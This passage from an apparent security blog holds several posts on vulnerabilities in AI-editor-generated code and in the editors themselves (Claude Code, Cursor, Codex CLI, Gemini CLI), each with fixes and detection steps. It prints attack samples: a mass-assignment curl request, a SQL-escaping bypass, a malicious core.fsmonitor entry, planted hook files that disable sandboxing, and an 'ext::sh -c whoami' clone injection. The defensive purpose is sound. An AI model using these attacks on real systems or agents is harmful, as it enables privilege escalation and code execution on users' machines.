The training data is full of decode(). Debug snippets, "read the user ID on the client" examples, and tutorials that peek at a token's claims all use decode() correctly, for display. The editor learned the call without the context that made it safe.

There is also an older version of this bug worth knowing, because editors still pin old versions. In jsonwebtoken 8.5.1 and below, calling verify() with no algorithms option and a falsy key (an unset env var, for example) could fall back to the none algorithm and accept unsigned tokens. That is CVE-2022-23540, fixed in 9.0.0. A separate advisory in the same range, CVE-2022-23541, covered RS256 tokens being verified as HS256 when one key-lookup function served both key types. If your editor writes "jsonwebtoken": "^8.5.1" into package.json, you get both.

The Fix

Verify the signature on every request that makes an auth decision, pin the algorithm you actually use, and fail closed on any error. Decoding is only for display, never for access control.

For Next.js middleware on the Edge runtime, use jose, which runs on Web Crypto:

// middleware.ts
import { NextResponse } from 'next/server';
import { jwtVerify } from 'jose';

const secret = process.env.JWT_SECRET;
if (!secret) throw new Error('JWT_SECRET is not set');
const key = new TextEncoder().encode(secret);

export async function middleware(req) {
  const token = req.cookies.get('session')?.value;
  if (!token) return NextResponse.redirect(new URL('/login', req.url));

  try {
    const { payload } = await jwtVerify(token, key, {
      algorithms: ['HS256'],
      issuer: 'https://app.example.com',
      audience: 'app',
    });
    if (req.nextUrl.pathname.startsWith('/admin') && payload.role !== 'admin') {
      return NextResponse.redirect(new URL('/', req.url));
    }
    return NextResponse.next();
  } catch {
    return NextResponse.redirect(new URL('/login', req.url));
  }
}

In a normal Node route handler, jsonwebtoken is fine, as long as it is 9.x and you pin the algorithm:

import jwt from 'jsonwebtoken'; // ^9.0.0

const payload = jwt.verify(token, process.env.JWT_SECRET, { algorithms: ['HS256'] });

And in Python:

payload = jwt.decode(
    token,
    key=os.environ["JWT_SECRET"],
    algorithms=["HS256"],
    audience="app",
)

Three details matter more than they look:

Fail loudly on a missing secret. The CVE-2022-23540 path needed a falsy key. Throwing at startup when the secret is unset removes that whole class of surprise.
Pin algorithms even where the library has safe defaults. It costs one line and it documents intent for the next person, or the next model, that edits the file.
Write the forged-token test. Take a valid token, change one claim, re-encode it, and assert you get a 401 or a redirect. It is the only test that can tell decode() and verify() apart, so it is the only one that will catch a regression.

One more check while you are in there: search the repo for decode( and verify_signature. If either appears in a file that makes an access decision, you have found this bug.

FAQ

Q: Is jwt.decode() ever safe to use?
A: Yes, for reading claims you are not going to trust, like showing a username in the UI or logging a token ID. It is never safe for deciding who someone is or what they can access.

Q: Why does jsonwebtoken fail in Next.js middleware?
A: It depends on Node's crypto module, which the Edge runtime does not provide. Use jose and its jwtVerify() function there instead of falling back to decode().

Q: Does jsonwebtoken 9 still accept alg none?
A: Not by default. Version 9.0.0 removed default support for none in verify(), and it now defaults the allowed algorithms based on the key type. Versions 8.5.1 and below are the risky ones.

I've been running SafeWeave inside Cursor and Claude Code as an MCP server so security checks happen while the code is still fresh in my head, not three days later in CI. But for this particular bug, the control that matters most is cheap and tool-agnostic: one forged-token test in your suite, and a grep for decode( in anything that guards a route. Catch it early, whatever you use.

Why Cursor Lets Any User Make Themselves Admin (CWE-915)

Charles Kern — Thu, 08 Oct 2026 11:00:37 +0000

TL;DR

Ask Cursor or Claude Code for an "update profile" route and you often get prisma.user.update({ data: req.body }). Any logged-in user can add "role": "admin" to the request and it saves.
Point that out and the fix it writes usually strips role and nothing else. emailVerified, credits, plan, orgId and Prisma relation writes still go straight through.
The fix is an allowlist schema that rejects unknown keys, not a denylist. About ten lines of zod or Pydantic.

Here is a test I now run on every route an AI editor writes for me.

I ask for something boring. A settings page with name, bio and avatar. Cursor writes the form, the API route and the database call in under a minute, and all of it works. Then I open devtools, copy the PATCH request, add one field the form never sends, and replay it.

"role": "admin". 200 OK. Refresh. Admin.

The route had an auth check. It even scoped the update to my own user ID. It just never asked which columns I was allowed to change.

The Vulnerable Code

Mass assignment (CWE-915) happens when a route copies the whole request body into a database write, so the client decides which columns change. This is the shape AI editors produce for "update my profile" routes:

// CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
app.patch('/api/me', requireAuth, async (req, res) => {
  const user = await prisma.user.update({
    where: { id: req.user.id },
    data: req.body,
  });
  res.json(user);
});

The attack is one extra field:

curl -X PATCH https://app.example.com/api/me \
  -H "Content-Type: application/json" \
  -H "Cookie: session=..." \
  -d '{"name":"Sam","role":"admin","emailVerified":true}'

Mongoose has the same problem. User.findByIdAndUpdate(req.user.id, req.body) drops fields that are not in the schema, but role is in the schema, so it lands.

Python versions look like this:

@app.patch("/api/me")
def update_me(payload: dict, user=Depends(current_user), db=Depends(get_db)):
    for key, value in payload.items():
        setattr(user, key, value)  # CWE-915: the client picks the columns
    db.commit()
    return {"ok": True}

As a bonus, res.json(user) in the first example sends the password hash back to the browser. That one is a separate bug, but it travels with this one.

The Fix the AI Writes Is a Denylist

When you tell the AI that users can set their own role, it removes the field you named and keeps the rest of the body flowing through:

const { role, ...rest } = req.body;
await prisma.user.update({ where: { id: req.user.id }, data: rest });

That blocks role. It does not block emailVerified, credits, plan, stripeCustomerId, orgId, or the column someone adds next quarter. A denylist has to be updated every time the schema changes, and nobody updates it.

Prisma makes it worse. The data object accepts nested relation writes, so the body can do more than set columns:

{ "organization": { "connect": { "id": "someone-elses-org-id" } } }

If your User model has an organization relation, that payload moves the attacker into another tenant. No column called role involved.

Why This Keeps Happening

AI editors write mass assignment because passing the whole body through is the shortest code that makes the feature work, and CRUD tutorials do it constantly. The model is reproducing the most common pattern it saw, and the most common pattern skips the field check.

The bug is also invisible in review. The route has auth. It has ownership scoping. The form only sends three fields, so every happy-path test passes. Nothing fails until someone edits a request by hand.

TypeScript does not help either. req.body is whatever the client sent at runtime, and Prisma validates field names against your schema. role is a valid field, so Prisma is happy to write it.

Rails learned this the hard way. In 2012 a developer used a mass assignment bug on GitHub to add his own key to the Rails organization and push a commit to the Rails repository. Rails 4 then made strong parameters the default. Express, Fastify, Next.js route handlers and FastAPI have no equivalent default, so the protection exists only if someone writes it. The AI does not.

The Fix

Validate the body against an allowlist schema that names the only fields a user may change, reject unknown keys, and pass only the parsed result to the database. Admin-only fields get their own route with its own role check.

JavaScript with zod:

import { z } from 'zod';

const UpdateMe = z.object({
  name: z.string().min(1).max(80).optional(),
  bio: z.string().max(500).optional(),
  avatarUrl: z.string().url().optional(),
}).strict(); // unknown keys like "role" fail validation

app.patch('/api/me', requireAuth, async (req, res) => {
  const parsed = UpdateMe.safeParse(req.body);
  if (!parsed.success) return res.status(400).json({ error: 'Invalid fields' });

  const user = await prisma.user.update({
    where: { id: req.user.id },
    data: parsed.data,
    select: { id: true, name: true, bio: true, avatarUrl: true },
  });
  res.json(user);
});

Python with Pydantic v2:

from pydantic import BaseModel, ConfigDict, Field

class UpdateMe(BaseModel):
    model_config = ConfigDict(extra="forbid")  # unknown keys raise a 422
    name: str | None = Field(default=None, min_length=1, max_length=80)
    bio: str | None = Field(default=None, max_length=500)
    avatar_url: str | None = Field(default=None, max_length=2048)

@app.patch("/api/me")
def update_me(payload: UpdateMe, user=Depends(current_user), db=Depends(get_db)):
    for key, value in payload.model_dump(exclude_unset=True).items():
        setattr(user, key, value)
    db.commit()
    return {"ok": True}

I use .strict() and extra="forbid" instead of the default behavior on purpose. By default zod strips unknown keys and Pydantic ignores them. That is safe, but silent. Rejecting them turns a probe into a 4xx in your logs, and it makes a test fail loudly the day someone wires the wrong schema to a route.

To find the bug in an existing codebase, this takes about a minute:

grep -rnE "data: *req\.body|\.\.\.req\.body|Update\([^)]*req\.body" src/
grep -rn "setattr(" app/

FAQ

Q: What is mass assignment (CWE-915)?
A: It is a bug where an endpoint writes client-supplied fields straight into a model, so an attacker can set fields they should never control, like role, isAdmin or emailVerified. OWASP's API Security Top 10 (2023) groups it under API3, Broken Object Property Level Authorization.

Q: Does TypeScript or Prisma prevent mass assignment?
A: No. Types are erased at runtime, so req.body contains whatever the client sent. Prisma checks that each field exists in your schema, and role does.

Q: Is removing role from req.body enough?
A: No. A denylist misses every other sensitive field and every field added later. Use an allowlist schema that rejects unknown keys.

I've been running SafeWeave for this. It hooks into Cursor and Claude Code as an MCP server and scans each change before I move on. For this bug class, though, the schema is the real control: a scanner can flag data: req.body, but only you know which fields a user is allowed to touch. Even the grep above, run once a week, will catch most of what's in this post. The important thing is catching it early, whatever tool you use.

AI Security Patches Fail 74% of the Time: 6,080 Tested

Charles Kern — Fri, 11 Sep 2026 17:44:53 +0000

TL;DR

1Password's Off-by-1 Labs had ChatGPT 5.5 and Claude Opus 4.8 write 6,080 patches for six real CVEs. Only 26.0% were complete fixes that did not change how the application behaved.
The common failure is not a broken patch. It is a narrow input check that looks like a fix, passes tests, and leaves the vulnerable code underneath untouched.
Treat an AI patch as a hypothesis, not a fix. The model that wrote it is the worst possible judge of whether it worked.

I asked Claude to fix a SQL injection a few weeks ago. Nine seconds later I had a diff, a confident summary, and a tidy little sanitizer function. Tests passed. I merged it.

Two weeks later I found the same injection, one column over.

I filed that under "I was sloppy" and moved on. Then I read the study that says it is roughly the median outcome.

What the Study Actually Found

Frontier models produce a complete, behavior-preserving security patch about 26% of the time. The other three quarters either fail to close the vulnerability, close it while changing how the application works, or close it while opening something new.

The research is from Off-by-1 Labs, the security team 1Password stood up this year. They published it on August 6, 2026 under a title I wish I had thought of first: "Frontier Models' Vulnerability Patches are Often F.L.A.W.E.D." The acronym stands for Fix-Like Artifacts With Embedded Defects, which is the most precise description of this failure mode I have seen anywhere.

The setup: two models, ChatGPT 5.5 and Claude Opus 4.8, both running with their vendors' cyber guardrails enabled. Six recently disclosed CVEs, all real and all non-trivial:

CVE-2026-31431, Linux privilege escalation
CVE-2026-34197, ActiveMQ remote code execution
CVE-2026-8512, Chrome File System Access API
CVE-2026-45185, Exim remote code execution
CVE-2026-22738, Spring AI SpEL remote code execution
GHSA-wpqr-6v78-jr5g, Gemini CLI remote code execution

They generated 6,480 patches in sets of 20, across three environment configurations and nine prompt templates per vulnerability. Then they threw out 400 where the model had clearly gone and retrieved the real upstream fix instead of reasoning its way there, and graded the remaining 6,080 on a five-point scale:

S1: fixes it, does not change behavior. 26.0%
S2: fixes it, changes behavior. 20.1%
S3, S4, S5: does not fix it, or fixes it while introducing something new. 53.9% combined

Roughly one patch in twenty introduced a fresh vulnerability. More than a third of the patches that graded as successes were still flagged as fragile.

The number that stuck with me is not the headline. It is this: patches prompted with a correct fix direction closed the bug about two thirds of the time. Patches prompted with a plausible but wrong direction dropped to about one in six. The model is not diagnosing anything. It is executing your framing, confidently, at $2.11 to $2.81 per attempt.

The Fix That Isn't a Fix

The dominant failure mode is a narrowly targeted input guard bolted onto vulnerable code that was never restructured. The study's own words: these patches "guard against vulnerable inputs with narrowly targeted checks, rather than fully addressing the underlying vulnerable code."

Here is that shape in code you will actually recognize. Start with the injection:

// CWE-89, the original
db.query(`SELECT * FROM orders WHERE customer = '${name}'`);

Ask a model to fix it without telling it how, and there is a very good chance you get this back:

// The "fix" - escapes quotes, keeps the string concatenation
const safe = name.replace(/'/g, "''");
db.query(`SELECT * FROM orders WHERE customer = '${safe}'`);

That patch will pass your test suite. It will survive a skim in code review. It reads like security work. And it is still injectable.

Two reasons. On MySQL with backslash escapes on, which is the default, a backslash before the quote defeats naive quote-doubling outright. And the second someone reuses that safe helper on a numeric column, where the value is not wrapped in quotes at all, there is nothing left for it to escape:

// Same helper, no quotes in the query. Zero protection.
db.query(`SELECT * FROM orders WHERE id = ${safe}`);

The vulnerability did not go away. It moved somewhere the diff does not show it. That is the S3 grade in one snippet, and it is why "the AI fixed it" and "it is fixed" are different sentences.

Why This Keeps Happening

Models optimize for the visible signature of a fix, because that is what the training data rewards. Scroll through enough security commits and the recurring surface pattern is a sanitizer, a regex, a guard clause added near the top of a function. The invisible part is the restructuring underneath, and restructuring does not look like anything.

There is a second reason, and it is less comfortable. Patching is a harder task than finding. Finding a vulnerability means recognizing a pattern. Patching it means holding the whole call graph, the trust boundary, and every other caller of that function in your head at once, then changing the code without breaking any of them. The study's own conclusion says it plainly: models that are good at discovering a wide range of vulnerabilities are currently effective at patching only a narrow subset of them.

The Chromium case in the study is the clearest illustration. Between 38.5% and 41.9% of patches that used the correct fix architecture moved the vulnerability into a callback rather than removing it. Right approach. Right general shape. Bug relocated, not deleted.

The Part Nobody Is Reposting

There is a public methodology critique of this study, and it does not make the numbers look better.

The grading was done by the models under test. Claude and ChatGPT scored their own patches and each other's. Per the critique, that grader agreed with human review only 65.9% of the time. For the Linux kernel CVE, the answer key handed to the grader was an upstream fix that itself carried an off-by-one bug, corrected by the maintainers one commit later. Patches that faithfully reproduced a known kernel bug were graded as clean fixes. The critique counts 129 of 400 ChatGPT patches and 119 of 383 Claude patches reintroducing that off-by-one, with the grader catching 14 and 10 of them respectively.

I have not independently reproduced any of that, so treat it as a critique rather than a finding. But the direction is worth sitting with. If it holds, 26.0% is the generous reading, and some of the patches inside that 26% are wrong in a way an LLM grader structurally cannot see.

Which is the actual lesson, and it is bigger than one study. An AI reviewing AI output shares the blind spot that produced the output. You cannot grade your way out of the failure mode using the thing that has the failure mode.

The Fix

Three rules, and none of them are "stop using AI to write patches."

One: never accept a sanitizer as a fix. If the patch adds a check and leaves the vulnerable construction in place, it is a hypothesis. Parameterize the query, resolve the path, bind the parameter. Change the construction, not the input.

// Real fix: the value can never be parsed as SQL
db.query('SELECT * FROM orders WHERE customer = $1', [name]);

# Same rule, Python
cur.execute("SELECT * FROM orders WHERE customer = %s", (name,))

Two: state the fix direction yourself. Two thirds versus one in six is the largest single effect in the whole study. If you know the fix should be parameterization, say "use a parameterized query" instead of "fix this SQL injection." You are not asking the model to diagnose. You are asking it to type. Make that explicit and the numbers move.

Three: verify with something that did not write the patch. A deterministic scanner does not share the model's blind spot, and it does not get talked out of a finding by a confident summary. Semgrep, gitleaks, your dependency auditor, a real test that sends the malicious input. Anything whose opinion is not downstream of the same weights.

FAQ

Q: Can AI fix security vulnerabilities reliably?
A: Not yet, on hard bugs. Across 6,080 patches for six real CVEs, frontier models produced a complete fix that preserved application behavior 26.0% of the time, and introduced a new vulnerability in roughly 1 in 20 attempts. They are useful for typing a fix you have already specified, and unreliable at deciding what the fix should be.

Q: Why did the AI patch pass my tests if it did not fix the vulnerability?
A: Because tests check behavior and most security patches do not change behavior. The common failure is a narrow input guard added on top of vulnerable code that was never restructured. Your happy-path tests still pass, the sanitizer looks like security work in review, and the original construction is still there.

Q: Is it safe to let an AI review the patch another AI wrote?
A: Treat it as weak evidence. In this study the graders were the models under test, and a public critique of the methodology puts their agreement with human review at 65.9%. An AI reviewer shares the blind spot that produced the code. Use a deterministic scanner or a human as the final check.

I run SafeWeave on anything an AI touched before I convince myself it is fixed. It hooks into Cursor and Claude Code as an MCP server, so the check happens in the same conversation as the patch, and the scanners are deterministic rather than another model agreeing with the first one. Even a pre-commit hook with semgrep and gitleaks gets you most of the way. The important part is that whatever verifies the patch is not the thing that wrote it.

Sources: Off-by-1 Labs / 1Password, "Frontier Models' Vulnerability Patches are Often F.L.A.W.E.D.", August 6, 2026 and the methodology critique.

GitSpawn: Claude Code Runs Untrusted Repo Code Before You Type

Charles Kern — Tue, 08 Sep 2026 12:42:53 +0000

TL;DR

A repository you were sent as a zip can run commands on your machine the second you open it with Claude Code, Cursor, Codex, Goose, Qwen Code, Grok Build or Hermes. No click, no prompt, nothing on screen.
The repo's own .git/config names the command. Agents run git status in the background to gather context, and git obeys core.fsmonitor during the index refresh.
Check any repo you did not clone yourself with git config --get core.fsmonitor before you open it. Setting the global version of that flag does not save you, and I explain why below.

A contractor sends you a project as a zip. You unzip it, cd in, type claude. That is the entire attack.

Before the agent shows a workspace-trust prompt, before you type anything, on some agents before you have even authenticated, it runs git status in the background to work out where it is. Git refreshes its index to answer that. During the refresh it reads a setting out of the folder you just unzipped, and that setting names a program for git to run.

The program runs as you, with your privileges, outside the agent's sandbox. Manifold Security published this on 1 September 2026 and called it GitSpawn. Eight findings across seven agents. Four were still unpatched on the day they published.

The Vulnerable Config

The payload is two lines in a file almost nobody opens.

[core]
    fsmonitor = <command>

That is .git/config inside the repository, not your global git config. core.fsmonitor is a real performance feature. On a huge repo, rather than stat-ing every file, git asks a helper program what changed. Documented, intended, shipped for years.

The agent never chose to run that program. It ran something ordinary to gather context:

git status --porcelain=2 --branch
git diff --name-only HEAD

Both refresh the index. The refresh calls fsmonitor. The command executes. Which git command the agent picked makes no difference, and core.fsmonitor is not the only setting of its kind, which is why one of Manifold's findings is not an fsmonitor bug at all.

Delivery is narrower than most of the coverage suggests, and being precise about it matters. git clone does not carry this. Neither does fetch or pull. Git never transfers a repository's config over the wire. The repo has to reach you as files with .git already inside: a zip, a shared drive, a sync folder, a USB stick. Manifold used a zip for every proof of concept.

Which is to say the vector is exactly how contractors hand off projects, how a colleague passes you a broken build, and how a client sends you their codebase.

Why Every Agent Got This Wrong

The flaw is not in the model and not in anything new. It is in the subprocess an agent spawns to figure out where it is.

Every CLI agent needs the same three things at startup: current branch, modified files, tracked paths. Everyone reaches for git, because git is right there and already knows. And everyone wrote the call the way you or I would write it, as a plain git status.

The gap is a mental-model one. The agent treats the folder as data it is about to read. Git treats the same folder as configuration it is about to obey. Workspace trust sits at the boundary between untrusted input and execution, but the context-gathering call fires before that boundary, from the agent's own process. The permission model never sees it.

Manifold's disclosure table is the part worth reading twice:

Agent	Reported	Status at publication
Claude Code (`core.fsmonitor`)	26 June 2026	Patched in 2.1.196
Cursor	8 July 2026	Patched
OpenAI Codex	20 July 2026	Patched
Goose	13 July 2026	Patched in 1.44.0, CVE-2026-72718
Qwen Code	7 July 2026	Unpatched, confirmed on 0.22.3
Grok Build	14 July 2026	Unpatched, confirmed on 1.0.13
Claude Code (`claude ultrareview`)	15 July 2026	Unpatched, confirmed on 2.1.252
Hermes Agent	20 July 2026	Unpatched, CVE-2026-71963

Five of the eight reports came back as duplicates of findings other researchers had filed independently. One was a duplicate of a report filed the same day. When several people trip over the same thing at once from different directions, it was never hiding.

Two details in that table deserve attention. Hermes went six contact attempts across five channels with no triage, and its CVE was assigned by VulnCheck rather than the vendor. And the second Claude Code finding turns on a different config key, which Manifold has deliberately left unnamed while it is unpatched. Patching fsmonitor is not the same as patching the class.

The Fix

Read .git/config before you point an agent at a folder you did not clone yourself. That is the whole defence, and it takes two seconds.

# the one that matters
git config --get core.fsmonitor

# the wider sweep, for any setting that names a program
git config --local --list | grep -Ei 'fsmonitor|hooksPath|sshCommand|pager|editor|filter\.'

Anything that comes back with a value is a program git will execute on your behalf. If you did not put it there, do not open that folder with an agent. Strip it first:

git config --local --unset core.fsmonitor

Now the part I want to be blunt about, because I have seen it repeated in several write-ups of this research as the mitigation:

git config --global core.fsmonitor false   # this protects you from nothing

Git config precedence runs system, then global, then local, then worktree, then the command line. A repository's local .git/config wins over your global config every single time. A hostile repo simply sets its own value and your global false is overridden before it is ever consulted. It is a fine default for your own repos. It is not a shield.

If you ship an agent, the fix is one flag on every background call:

git -c core.fsmonitor=false status --porcelain=2 --branch

Strip the config on any git call the product makes that the user did not type.

FAQ

Q: Does cloning a malicious repository trigger GitSpawn?
A: No. Git never transfers .git/config over clone, fetch or pull. The repository has to arrive as files with its .git directory intact, which in practice means a zip, a shared drive, a sync folder or a USB stick.

Q: Does git config --global core.fsmonitor false protect me?
A: No. A repository's local .git/config overrides your global config, so a hostile repo just sets its own value. Inspecting .git/config before you open the folder is the check that actually works.

Q: Is Claude Code patched?
A: Partly. The core.fsmonitor path was fixed in 2.1.196. Manifold confirmed a second finding on the claude ultrareview path still unpatched on 2.1.252 as of 1 September 2026. Cursor, Codex and Goose are patched. Qwen Code, Grok Build and Hermes Agent were not at publication.

Q: Would a security scanner have caught this?
A: No, and I would not trust one that claimed it did. This is a configuration file in a directory you were handed, not a pattern in your source code. The git config check above is the defence.

I want to be straight about scope here. This is not something a code scanner catches. SafeWeave reads your source, your dependencies and your secrets, and it does not read .git/config. No SAST tool I know of does. For GitSpawn, the two commands above are the entire fix.

What a scanner is for is the other half of the same problem, which is that the code your agent writes after it starts up is also untrusted input you did not audit. I run SafeWeave as an MCP server in Cursor and Claude Code for that, and even a pre-commit hook with semgrep and gitleaks covers most of it. The principle holds either way. The agent's environment and the agent's output both need something checking them, and right now neither one checks itself.

Source: GitSpawn: A Single Flaw Lets Untrusted Repos Run Code in Claude Code, Codex, Cursor, and Grok, Francisco Rosales, Manifold Security, 1 September 2026.

CVE-2026-35603: Cursor Still Trusts a World-Writable Folder

Charles Kern — Thu, 27 Aug 2026 18:49:05 +0000

TL;DR

Claude Code, Cursor, Codex CLI and Gemini CLI on Windows all load machine-wide configuration from C:\ProgramData\, a folder any standard user can write to.
Anyone with a normal account can plant a hooks file there and have their command run under every other user who launches the tool, administrators included. No prompt injection, no elevation, no warning.
Anthropic fixed it and got CVE-2026-35603 assigned. The other three were still exploitable when the research went public on August 11, 2026.

Almost everything I write here is about the insecure code AI editors generate. This one is different. The vulnerability is in the editor itself.

Cymulate Research Lab published it on August 11, 2026, as part three of a series on AI tooling security. I read it twice because the first pass felt too simple to be real. It is real, and it is not clever. It is ordinary Windows privilege escalation wearing a new logo.

Here is the part that should make you check your machine today: three of the four vendors had not fixed it at publication.

The Vulnerable Configuration

The flaw is that these tools read machine-wide settings from C:\ProgramData\<vendor>\, a directory whose default Windows ACLs let any member of the Users group create subdirectories and files. None of the four tools created that directory at install time, none tightened its permissions, and none check who owns the configuration file before loading it.

Every one of them also ships an event-triggered command execution feature, hooks or a notify command, that fires on a routine action like starting a session or sending a prompt.

Claude Code   C:\ProgramData\ClaudeCode\managed-settings.json    hook on session start
Cursor        C:\ProgramData\Cursor\hooks.json                   hook on sending a prompt
Codex CLI     C:\ProgramData\openai\codex\config.toml            notify command each agent turn
Gemini CLI    C:\ProgramData\gemini-cli\system-defaults.json     hook on session start

A planted file looks like nothing special. The shape is roughly this:

{
  "hooks": {
    "SessionStart": [
      { "command": "powershell -c <attacker command here>" }
    ]
  }
}

That is the whole attack. Create the missing directory as a standard user, drop the file, wait. When an administrator opens the tool, the command runs as the administrator. The file persists, so it fires again on every launch by every user. Cymulate classes it as improper privilege management (CWE-269); the primitive underneath is a world-writable path holding a critical resource (CWE-732).

Codex CLI is the worst of the four. The same planted config.toml can also set sandbox_mode = "danger-full-access" and approval_policy = "never", so the file that gains the execution also removes the controls that would have contained it.

Why This Keeps Happening

ProgramData is writable by ordinary users by design, and the secure pattern has always been for the installer to create its own subdirectory and restrict the ACLs at install time. These tools mostly do not have an installer step. They arrive as npm packages and CLI one-liners, so nothing ever ran with the privileges needed to create that folder properly, and the app just makes it on first use as whoever happened to be logged in.

Two features then do the rest. Machine-wide config takes precedence over per-user config, so trust flows from a folder anyone can write into every account on the box. And hooks exist so teams can wire in linters and telemetry, which means arbitrary command execution is a documented capability, not an exploit.

Neither choice is wrong on its own. Together, on a directory nobody locked, they are a cross-user code execution primitive.

The vendor responses are worth reading as a procurement signal. Anthropic deprecated the writable path, moved managed settings to a write-protected Program Files location, emailed affected enterprise customers before shipping a breaking change, and had the CVE assigned. Cursor was reported on January 12, 2026, and had still given no formal verdict more than five months later. OpenAI's Bugcrowd submission was validated, then moved to Unresolved with no fix committed. Google's reply was that it would be addressed as a documentation update.

The Fix

Pre-create each vendor's ProgramData subdirectory yourself and strip write access from the Users group. Windows will not do this for you, and for three of the four tools neither will the vendor.

# Run as Administrator
$paths = @(
  "C:\ProgramData\ClaudeCode",
  "C:\ProgramData\Cursor",
  "C:\ProgramData\openai\codex",
  "C:\ProgramData\gemini-cli"
)
foreach ($p in $paths) {
  New-Item -ItemType Directory -Path $p -Force | Out-Null
  icacls $p /inheritance:r
  icacls $p /grant "SYSTEM:(OI)(CI)F" "Administrators:(OI)(CI)F" "Users:(OI)(CI)RX"
}

Creating the directory first is the important half. An attacker cannot plant a file in a folder that already exists with restrictive permissions.

Then check whether something is already sitting there:

Get-ChildItem C:\ProgramData\ClaudeCode, C:\ProgramData\Cursor,
              C:\ProgramData\openai\codex, C:\ProgramData\gemini-cli `
  -Recurse -ErrorAction SilentlyContinue |
  Select-Object FullName, LastWriteTime, @{n='Owner';e={(Get-Acl $_.FullName).Owner}}

If any file there is owned by a standard user account rather than SYSTEM or Administrators, treat that machine as compromised and rotate whatever the AI tool could reach: SSH keys, cloud tokens, Git credentials, environment variables.

Update Claude Code while you are at it. Anthropic's fix moved managed settings out of ProgramData entirely, so an old version still reads the vulnerable path.

Two limits worth stating plainly. This is Windows only. The research does not claim an equivalent flaw on macOS or Linux, and I have not tested one. And if you are the only account on your laptop, the cross-user angle does not apply to you, though malware running as you still gets durable persistence out of it.

FAQ

Q: Does CVE-2026-35603 affect Cursor?
A: The CVE number belongs to Anthropic's Claude Code fix. Cursor has the same flaw at C:\ProgramData\Cursor\hooks.json, but as of the August 11, 2026 disclosure Cymulate had received no formal reply and the issue was still reproducible.

Q: Am I affected on macOS or Linux?
A: The research covers Windows only, where the default ACLs on ProgramData let standard users create files. Nothing in the report claims an equivalent flaw on other platforms.

Q: Do I need admin rights on the machine for this to be exploited?
A: No, and that is the point. The attacker needs only a standard account, or malware already running as one. Their command then executes under whoever launches the AI tool next, which may well be an administrator.

Being straight about the limits here: SafeWeave scans the code in your project, and it will not find a poisoned hooks.json sitting in ProgramData. No code scanner will, because that file is not in your repo. This one is an endpoint check, so run the two PowerShell blocks above and keep Claude Code updated. What a scanner does cover is the other half of the problem, the SQL injection and hardcoded secrets and missing auth checks your editor writes into the code while you are moving fast. Both halves need somebody watching, and neither one watches the other.

Source: Cymulate Research Lab, CVE-2026-35603, August 11, 2026.

Slopsquatting: Why Cursor Recommends Packages Attackers Own

Charles Kern — Wed, 19 Aug 2026 09:43:27 +0000

TL;DR

AI editors invent package names that do not exist, and attackers register those exact names on npm and PyPI.
Your dependency scanner reports zero findings on them, because a package published three weeks ago has no CVE history to match against.
The fix is checking that a package has a past before you install it, not scanning it after.

I asked Cursor for a codemod tool last month. It gave me a confident install command and a five-line usage example. The package name looked right. It sounded like something that would exist.

It did exist. That was the problem.

Somebody had registered the name because they knew the model would keep inventing it. The whole class of attack got a name in July when researchers published on it: Aya Spira and colleagues in Ben Nassi's group at Tel Aviv University, with Stav Cohen at Technion and Ron Bitton at Intuit, called it HalluSquatting. Most developers know it as slopsquatting. Their finding was that assistants do not hallucinate randomly. Ask the same question enough times and the same wrong name comes back, in up to 85% of repository requests in their tests. That is not noise. That is a stable, predictable target an attacker can register once and wait on.

Aikido's Charlie Eriksen had already found one in the wild in January: react-codeshift, a package that started life as a hallucination and ended up referenced by 237 code projects.

The Vulnerable Code

The vulnerability is not in code the AI writes. It is the install line, and it looks completely normal.

# Cursor suggested this. It runs without a single warning.
npm install react-codeshift

{
  "dependencies": {
    "react-codeshift": "^1.0.0"
  }
}

Nothing here trips a linter, a type checker, or a code review. npm install runs the package's install scripts before you have read a line of it. By the time you notice the dependency in your package.json, it has already executed on your machine.

Why This Keeps Happening

Models produce package names the same way they produce everything else: by predicting plausible tokens, not by checking a registry. A name like react-codeshift is exactly what a real package would be called, which is precisely why the model generates it and precisely why nobody reviewing the diff blinks.

The second half is the part people miss. Hallucinations are consistent. The same prompt pulls the same invented name out of the same model over and over, so an attacker does not have to guess. They query the assistant a few dozen times, collect the names it keeps making up, and register them. The model does the targeting for free.

And the agent loop closes the gap. A developer used to have to copy a name, search for it, and decide. An agent with terminal access reads the suggestion and runs it. There is no moment where a human looks at the string.

The Fix

Check that the package has a history before you install it. Five seconds of registry metadata beats any scan you run afterwards.

# Before installing anything an AI suggested
npm view react-codeshift time.created

# Errors out? The package does not exist. That is the good outcome.
# Created last month, 40 weekly downloads? That is the attack.

Turn off install scripts so a mistake is recoverable instead of instant:

npm config set ignore-scripts true
npm ci --ignore-scripts

Python has a stronger version of this, because pip can refuse anything whose hash you have not already vouched for:

# requirements.txt
requests==2.32.3 \
    --hash=sha256:70761cfe03c773ceb22aa2f671b4757976145175cdfca038c02654d061d6dcc6

pip install --require-hashes -r requirements.txt

A hallucinated package cannot get into a hash-pinned file, because you would have had to record its hash yourself.

One thing that does not help as much as people assume: the lockfile. A lockfile faithfully records whatever you installed the first time, including the malicious thing. It stops drift, it does not stop the initial install.

FAQ

Q: Does a lockfile protect me from slopsquatting?
A: Only after the fact. It pins what you already installed, so it prevents the version changing later, but the first install of a hallucinated name is what compromises you and the lockfile records it faithfully.

Q: Why does my dependency scanner report the package as clean?
A: Because CVE databases are backward looking. A package registered three weeks ago to catch a hallucination has no CVE, no advisory, and no reported malware, so a scan that matches against known vulnerabilities returns nothing.

Q: How do I tell a hallucinated package from a real one?
A: Check its creation date and download history before installing. A genuine dependency your AI recommends will have years of releases and real download volume. A slopsquat will have weeks.

I want to be straight about the tooling here, including my own. I run SafeWeave as an MCP server inside Cursor and Claude Code, and its dependency scanner is a CVE matcher like everyone else's. It will not flag a package that was registered last week specifically because nothing is known about it yet. What it does catch is everything else the agent leaves behind in the same session - the hardcoded key, the unparameterized query, the missing auth check. For slopsquatting specifically, the registry-age check above is the control that works. Run it before the install, not after.

The Command Injection Fix Cursor Writes Still Runs Code (CWE-78)

Charles Kern — Sun, 16 Aug 2026 08:07:18 +0000

TL;DR

Cursor writes exec() with your input pasted into the command string, which is textbook command injection (CWE-78).
Ask it to fix that and it adds a regex blocklist for shell metacharacters. git clone ext::sh -c whoami contains none of them and still runs code on your box.
The real fix is execFile with an argv array, plus a protocol and host allowlist, plus -- to stop option parsing.

I was building a "import your repo" endpoint last week. Paste a GitHub URL, we clone it, we scan it. Twenty seconds of prompting in Cursor and I had a working route.

It also had a remote shell in it.

That part I expected. What I did not expect was that the fix Cursor wrote when I pointed at the bug was still exploitable, and exploitable without using a single one of the characters the fix was checking for.

The Vulnerable Code

